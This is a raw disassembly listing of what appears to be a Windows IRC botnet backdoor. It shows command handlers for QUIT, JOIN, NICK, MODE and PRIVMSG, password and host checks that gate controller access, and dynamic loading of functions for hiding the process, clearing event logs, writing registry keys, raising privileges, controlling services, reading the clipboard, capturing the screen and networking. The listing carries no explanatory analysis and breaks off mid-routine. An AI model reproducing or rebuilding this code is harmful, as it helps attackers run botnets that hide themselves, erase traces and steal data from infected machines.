loc_4086E4:				; CODE XREF: sub_401AA1+3862j
					; sub_401AA1+3877j
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jle	loc_401F20
		push	esi
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F20
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	sub_408B7B
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_424078	; Sleep
		push	esi
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	dword_4CDF78	; closesocket
		push	[ebp+var_10]
		push	esi
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E4C[eax]
		call	dword_4240AC	; TerminateThread
		push	esi
		call	sub_4184D9
		imul	eax, 234h
		push	esi
		mov	dword_440E4C[eax], ebx
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_440C38[eax], bl
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_408792:				; CODE XREF: sub_401AA1+3838j
					; sub_401AA1+384Dj
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4087C3
		call	sub_40A2F3
		cmp	eax, ebx
		jle	short loc_4087B9
		push	eax
		push	offset unk_42D50C
		jmp	loc_406A36
; ---------------------------------------------------------------------------


loc_4087B9:				; CODE XREF: sub_401AA1+6D0Bj
		push	offset unk_42D4E4
		jmp	loc_403AB9
; ---------------------------------------------------------------------------


loc_4087C3:				; CODE XREF: sub_401AA1+6D02j
		mov	eax, [ebp+var_A4]
		lea	esi, [eax+1]
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_4087CE:				; CODE XREF: sub_401AA1+6D9Cj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F20
		push	edi
		call	sub_4184D9
		push	eax
		call	sub_40A26B
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2C0]
		jz	short loc_4087FD
		push	offset unk_42D4C0
		jmp	short loc_408802
; ---------------------------------------------------------------------------


loc_4087FD:				; CODE XREF: sub_401AA1+6D53j
		push	offset unk_42D494


loc_408802:				; CODE XREF: sub_401AA1+6D5Aj
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40882C
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_40882C:				; CODE XREF: sub_401AA1+6D6Dj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		pop	ecx
		inc	esi


loc_40883A:				; CODE XREF: sub_401AA1+6D2Bj
		cmp	esi, 20h
		jb	short loc_4087CE
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_408844:				; CODE XREF: sub_401AA1+380Ej
					; sub_401AA1+3823j
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_418660
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4089AE
		push	esi
		push	offset dword_42D938
		push	[ebp+arg_4]
		call	sub_408B7B
		push	esi
		push	offset dword_42D478
		jmp	loc_408101
; ---------------------------------------------------------------------------


loc_40887D:				; CODE XREF: sub_401AA1+37E4j
					; sub_401AA1+37F9j
		push	[ebp+arg_10]
		push	offset dword_42D89C
		push	[ebp+arg_4]
		call	sub_408B7B
		push	[ebp+arg_10]
		push	offset unk_42D454
		jmp	loc_408101
; ---------------------------------------------------------------------------


loc_40889A:				; CODE XREF: sub_401AA1+37BAj
					; sub_401AA1+37CFj
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	[ebp+arg_10]
		push	offset unk_42D430
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_4088BE:				; CODE XREF: sub_401AA1+3790j
					; sub_401AA1+37A5j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	[ebp+arg_10]
		push	offset unk_42D40C
		jmp	loc_408101
; ---------------------------------------------------------------------------


loc_4088DB:				; CODE XREF: sub_401AA1+2BFBj
					; sub_401AA1+2C10j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D3E8
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		push	[ebp+arg_10]
		call	sub_4184D9
		add	esp, 1Ch


loc_408913:				; CODE XREF: sub_401AA1+6EBEj
		push	eax
		call	dword_424078	; Sleep


loc_40891A:				; CODE XREF: sub_401AA1+260Fj
		xor	eax, eax
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_401AA1+2BD1j
					; sub_401AA1+2BE6j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D3C0
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		push	[ebp+arg_10]
		call	sub_4184D9
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_408913
; ---------------------------------------------------------------------------


loc_408961:				; CODE XREF: sub_401AA1+BE2j
					; sub_401AA1+BF7j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_4260A0
		push	eax
		call	sub_40A0C6
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42D39C
		call	sub_413FAE


loc_4089AB:				; CODE XREF: sub_401AA1+49DFj
		add	esp, 24h


loc_4089AE:				; CODE XREF: sub_401AA1+614j
					; sub_401AA1+620j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_4089B6:				; CODE XREF: sub_401AA1+6A4j
					; sub_401AA1+6B9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401F20
		cmp	[ebp+var_A8], ebx
		jnz	loc_401F20
		push	offset dword_4292F8
		push	[ebp+var_90]
		call	sub_418E54
		mov	esi, eax
		push	offset dword_4CDDB0
		push	ebx
		inc	esi
		call	sub_418E54
		push	offset asc_42D398 ; "~"
		push	eax
		call	sub_418E54
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aSock	; "sock"
		call	sub_418DD0
		add	esp, 20h
		test	eax, eax
		jz	short loc_408A5E
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408B7B
		push	edi
		push	esi
		push	offset unk_42D318


loc_408A4A:				; CODE XREF: sub_401AA1+7016j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		add	esp, 30h
		jmp	loc_404442
; ---------------------------------------------------------------------------


loc_408A5E:				; CODE XREF: sub_401AA1+6F70j
		mov	[ebp+arg_24], ebx


loc_408A61:				; CODE XREF: sub_401AA1+6FDDj
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_426160[eax]
		call	sub_40A483
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408AB9
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_408A61
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408B7B
		push	edi
		push	esi
		push	offset unk_42D2C4
		jmp	short loc_408A4A
; ---------------------------------------------------------------------------


loc_408AB9:				; CODE XREF: sub_401AA1+6FD3j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408ABE:				; CODE XREF: sub_401AA1+703Ej
		cmp	[edi], bl
		jnz	short loc_408AD5
		push	[ebp+arg_10]
		push	offset aSock	; "sock"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408AE6


loc_408AD5:				; CODE XREF: sub_401AA1+701Fj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_408ABE
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_408AE6:				; CODE XREF: sub_401AA1+7032j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_D04]
		push	7Fh
		push	eax
		push	esi
		call	sub_418350
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408B1D
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D2A4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_408B1D:				; CODE XREF: sub_401AA1+7060j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42D284


loc_408B29:				; CODE XREF: sub_401AA1+56Cj
					; sub_401AA1+23EBj ...
		call	sub_413FAE
		pop	ecx


loc_408B2F:				; CODE XREF: sub_401AA1+2053j
		pop	ecx
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_408B35:				; CODE XREF: sub_401AA1+200j
					; sub_401AA1+215j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	offset aIx	; "+ix"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		add	esp, 2Ch
		mov	dword_4CDDA8, edi
		jmp	loc_401D30
sub_401AA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B7B	proc near		; CODE XREF: sub_401925+3Dp
					; sub_401AA1+1BDp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_418EF0
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		leave
		retn
sub_408B7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408BC1	proc near		; CODE XREF: sub_401AA1+4DDp
					; sub_401AA1+FEAp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_408BDC
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_408BDC:				; CODE XREF: sub_408BC1+14j
		push	edi
		call	sub_417D40
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417D40
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset dword_42F298
		push	esi
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_4185E6
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_408C5A
		push	7D0h
		call	dword_424078	; Sleep

locret_408C5A:				; CODE XREF: sub_408BC1+8Cj
		leave
		retn
sub_408BC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_408C5C	proc near		; CODE XREF: sub_40121E+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_42409C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4240BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408D7C
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CDF8C, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CDF04, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CDEE8, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CDE08, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CDDB8, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CDDE4, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CDE58, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CDF40, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CDF98, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CDE14, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDF8C, ebx
		mov	dword_4CDDFC, eax
		jz	short loc_408D5A
		cmp	dword_4CDF04, ebx
		jz	short loc_408D5A
		cmp	dword_4CDEE8, ebx
		jz	short loc_408D5A
		cmp	dword_4CDE08, ebx
		jz	short loc_408D5A
		cmp	dword_4CDDE4, ebx
		jz	short loc_408D5A
		cmp	dword_4CDE58, ebx
		jz	short loc_408D5A
		cmp	dword_4CDF40, ebx
		jz	short loc_408D5A
		cmp	dword_4CDF98, ebx
		jz	short loc_408D5A
		cmp	dword_4CDE14, ebx
		jz	short loc_408D5A
		cmp	eax, ebx
		jnz	short loc_408D64


loc_408D5A:				; CODE XREF: sub_408C5C+B8j
					; sub_408C5C+C0j ...
		mov	dword_4CDF9C, 1


loc_408D64:				; CODE XREF: sub_408C5C+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CDF18, eax
		jz	short loc_408D91
		push	1
		push	ebx
		call	eax
		jmp	short loc_408D91
; ---------------------------------------------------------------------------


loc_408D7C:				; CODE XREF: sub_408C5C+1Dj
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFA0, eax
		mov	dword_4CDF9C, 1


loc_408D91:				; CODE XREF: sub_408C5C+117j
					; sub_408C5C+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4240B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408E4C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CDF3C, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CDEF0, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CDE88, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CDF90, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CDEB4, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CDED4, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CDF34, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDF3C, ebx
		mov	dword_4CDE34, eax
		jz	short loc_408E57
		cmp	dword_4CDEF0, ebx
		jz	short loc_408E57
		cmp	dword_4CDE88, ebx
		jz	short loc_408E57
		cmp	dword_4CDF90, ebx
		jz	short loc_408E57
		cmp	dword_4CDEB4, ebx
		jz	short loc_408E57
		cmp	dword_4CDED4, ebx
		jz	short loc_408E57
		cmp	dword_4CDF34, ebx
		jz	short loc_408E57
		cmp	eax, ebx
		jnz	short loc_408E61
		jmp	short loc_408E57
; ---------------------------------------------------------------------------


loc_408E4C:				; CODE XREF: sub_408C5C+144j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFA8, eax


loc_408E57:				; CODE XREF: sub_408C5C+1B8j
					; sub_408C5C+1C0j ...
		mov	dword_4CDFA4, 1


loc_408E61:				; CODE XREF: sub_408C5C+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40901A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CDF50, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CDE9C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CDF08, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CDDF4, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CDE54, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CDEC0, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CDE70, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDF50, ebx
		mov	dword_4CDE7C, eax
		jz	short loc_408F0A
		cmp	dword_4CDE9C, ebx
		jz	short loc_408F0A
		cmp	dword_4CDF08, ebx
		jz	short loc_408F0A
		cmp	dword_4CDDF4, ebx
		jz	short loc_408F0A
		cmp	dword_4CDE54, ebx
		jz	short loc_408F0A
		cmp	dword_4CDEC0, ebx
		jnz	short loc_408F14


loc_408F0A:				; CODE XREF: sub_408C5C+284j
					; sub_408C5C+28Cj ...
		mov	dword_4CDFAC, 1


loc_408F14:				; CODE XREF: sub_408C5C+2ACj
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CDEC8, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CDEA4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDEC8, ebx
		mov	dword_4CDF4C, eax
		jz	short loc_408F4F
		cmp	dword_4CDEA4, ebx
		jz	short loc_408F4F
		cmp	eax, ebx
		jnz	short loc_408F59


loc_408F4F:				; CODE XREF: sub_408C5C+2E5j
					; sub_408C5C+2EDj
		mov	dword_4CDFAC, 1


loc_408F59:				; CODE XREF: sub_408C5C+2F1j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CDED8, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CDDD0, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CDDD8, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CDE3C, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CDE40, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CDDEC, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CDEA8, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDED8, ebx
		mov	dword_4CDDDC, eax
		jz	short loc_408FFD
		cmp	dword_4CDDD0, ebx
		jz	short loc_408FFD
		cmp	dword_4CDDD8, ebx
		jz	short loc_408FFD
		cmp	dword_4CDE3C, ebx
		jz	short loc_408FFD
		cmp	dword_4CDE40, ebx
		jz	short loc_408FFD
		cmp	dword_4CDDEC, ebx
		jz	short loc_408FFD
		cmp	dword_4CDEA8, ebx
		jz	short loc_408FFD
		cmp	eax, ebx
		jnz	short loc_409007


loc_408FFD:				; CODE XREF: sub_408C5C+36Bj
					; sub_408C5C+373j ...
		mov	dword_4CDFAC, 1


loc_409007:				; CODE XREF: sub_408C5C+39Fj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CDDD4, eax
		jnz	short loc_40902F
		jmp	short loc_409025
; ---------------------------------------------------------------------------


loc_40901A:				; CODE XREF: sub_408C5C+210j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFB0, eax


loc_409025:				; CODE XREF: sub_408C5C+3BCj
		mov	dword_4CDFAC, 1


loc_40902F:				; CODE XREF: sub_408C5C+3BAj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4090FB
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CDED0, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CDF24, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CDF2C, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CDEEC, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CDE18, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CDDC8, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CDF28, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CDDB4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDED0, ebx
		mov	dword_4CDE4C, eax
		jz	short loc_409106
		cmp	dword_4CDF24, ebx
		jz	short loc_409106
		cmp	dword_4CDF2C, ebx
		jz	short loc_409106
		cmp	dword_4CDEEC, ebx
		jz	short loc_409106
		cmp	dword_4CDE18, ebx
		jz	short loc_409106
		cmp	dword_4CDDC8, ebx
		jz	short loc_409106
		cmp	dword_4CDF28, ebx
		jz	short loc_409106
		cmp	dword_4CDDB4, ebx
		jz	short loc_409106
		cmp	eax, ebx
		jnz	short loc_409110
		jmp	short loc_409106
; ---------------------------------------------------------------------------


loc_4090FB:				; CODE XREF: sub_408C5C+3DEj
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4CDFB8, eax


loc_409106:				; CODE XREF: sub_408C5C+45Fj
					; sub_408C5C+467j ...
		mov	dword_4CDFB4, 1


loc_409110:				; CODE XREF: sub_408C5C+49Bj
		mov	ebp, dword_4240B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4093CC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CDE60, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CDF84, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CDE04, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CDDE0, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CDE94, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CDE80, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CDE48, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CDF60, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CDF7C, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CDE90, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CDF6C, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CDF20, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CDEE4, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CDEE0, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CDE24, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CDE1C, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CDF30, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CDF44, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CDEFC, eax
		call	esi	; GetProcAddress
		mov	dword_4CDEBC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CDF10, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CDECC, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CDF0C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CDF74, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CDEC4, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CDE8C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CDEF8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CDF64, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CDEA0, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CDE44, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDE60, ebx
		mov	dword_4CDF78, eax
		jz	loc_4093D7
		cmp	dword_4CDF84, ebx
		jz	loc_4093D7
		cmp	dword_4CDE04, ebx
		jz	loc_4093D7
		cmp	dword_4CDE94, ebx
		jz	loc_4093D7
		cmp	dword_4CDE80, ebx
		jz	loc_4093D7
		cmp	dword_4CDE48, ebx
		jz	loc_4093D7
		cmp	dword_4CDF60, ebx
		jz	loc_4093D7
		cmp	dword_4CDF7C, ebx
		jz	loc_4093D7
		cmp	dword_4CDE90, ebx
		jz	loc_4093D7
		cmp	dword_4CDF6C, ebx
		jz	loc_4093D7
		cmp	dword_4CDF20, ebx
		jz	loc_4093D7
		cmp	dword_4CDEE4, ebx
		jz	loc_4093D7
